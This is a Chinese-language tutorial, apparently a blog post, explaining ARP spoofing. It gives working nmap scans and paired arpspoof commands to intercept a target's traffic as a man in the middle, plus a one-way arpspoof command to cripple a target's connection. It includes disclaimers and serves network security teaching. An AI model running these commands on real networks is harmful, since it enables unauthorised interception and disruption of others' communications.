文章目录
-
- 原理
- 相关工具安装
- 具体实现攻击步骤
原理
ARP协议背景:
ARP(地址解析协议)用于将IP地址映射到物理MAC地址。每当设备需要与局域网上的其他设备通信时,它会使用ARP来查找目标设备的MAC地址。
设备会发送一个ARP请求广播到网络上,询问某个IP地址对应的MAC地址。接收到请求的设备会回复ARP响应,告知其MAC地址。
ARP缓存:
每个设备都会维护一个ARP缓存,用于存储IP地址和MAC地址的映射,以减少ARP请求的数量。
ARP欺骗过程:
-
攻击者发送伪造的ARP响应消息,声称某个IP地址对应其自己的MAC地址。由于ARP协议没有认证机制,目标设备会信任并更新其ARP缓存。
-
例如,攻击者A向设备B发送伪造的ARP响应,声称自己是网关(路由器)。设备B会将网关的IP地址映射到攻击者A的MAC地址。
-
结果是,设备B的流量会通过攻击者A,再转发到实际的网关。攻击者可以拦截、篡改或监视这些数据包。
相关工具安装
-
环境搭建,安装linux系统,在虚拟机上实现操作,下载所需要的安装包
-
攻击分为单向攻击和双向攻击
安装工具查询所在子网内所有主机:以便于后期攻击时查看目标主机ip地址。
-
安装 nmap
sudo apt-get install nmap
-
运行 nmap
sudo nmap -sP <your_subnet>/<mask>
例如:
sudo nmap -sn 192.168.1.0/24
可以看到本局域网所有主机。从中挑选一个作为目标主机
安装arp请求或响应包的工具:arpspoof
arpspoof
是一个用于执行 ARP 欺骗(或称为 ARP 中间人攻击)的工具,它是 dsniff
工具包的一部分。ARP 欺骗允许你在局域网中假装是另一台设备,从而截获通信数据。
请注意,使用 arpspoof
进行未授权的网络攻击是非法的,应该只在合法和授权的情况下使用,例如在进行网络安全测试时。
安装 arpspoof
在 Debian/Ubuntu 系统上,可以通过以下命令安装 dsniff
包来获取 arpspoof
:
sudo apt-get update
sudo apt-get install dsniff
具体实现攻击步骤
双向欺骗实现捕获目标主机的数据包
成功后可以试着捕获手机的http数据包
-
启用 IP 转发:
将作为中间人转发被攻击者与网关之间的请求和响应。单独开一个终端执行命令。
sudo sysctl -w net.ipv4.ip_forward=1
-
运行
arpspoof
:你需要两个
arpspoof
命令来分别欺骗目标设备和网关。运行命令需开启两个终端分别执行。其中,
<interface>
是你的网络接口名称,例如ens33
或wlan0
。PS:可在linux命令行中输入ip add,查看自己的网络接口。
欺骗目标设备(假设目标设备 IP 为 192.168.0.101
,网关 IP 为 192.168.0.1
):
sudo arpspoof -i <interface> -t 192.168.0.101 192.168.0.1
欺骗网关:
sudo arpspoof -i <interface> -t 192.168.0.1 192.168.0.101
运行期间可使用wireshark捕获本主机流动的数据包。
要停止 ARP 欺骗,只需在运行 arpspoof
的两个终端窗口中按 Ctrl+C
。同时,别忘了禁用 IP 转发:
sudo sysctl -w net.ipv4.ip_forward=0
单向欺骗实现给目标主机断网
只需要直接执行arpspoof数据包即可。
执行后即可让目标主机网速特别慢
欺骗目标设备(假设目标设备 IP 为 192.168.1.5
,网关 IP 为 192.168.1.1
):
sudo arpspoof -i <interface> -t 192.168.1.5 192.168.1.1
注意:
仅供学习计算机网络参考,请勿用于非法用途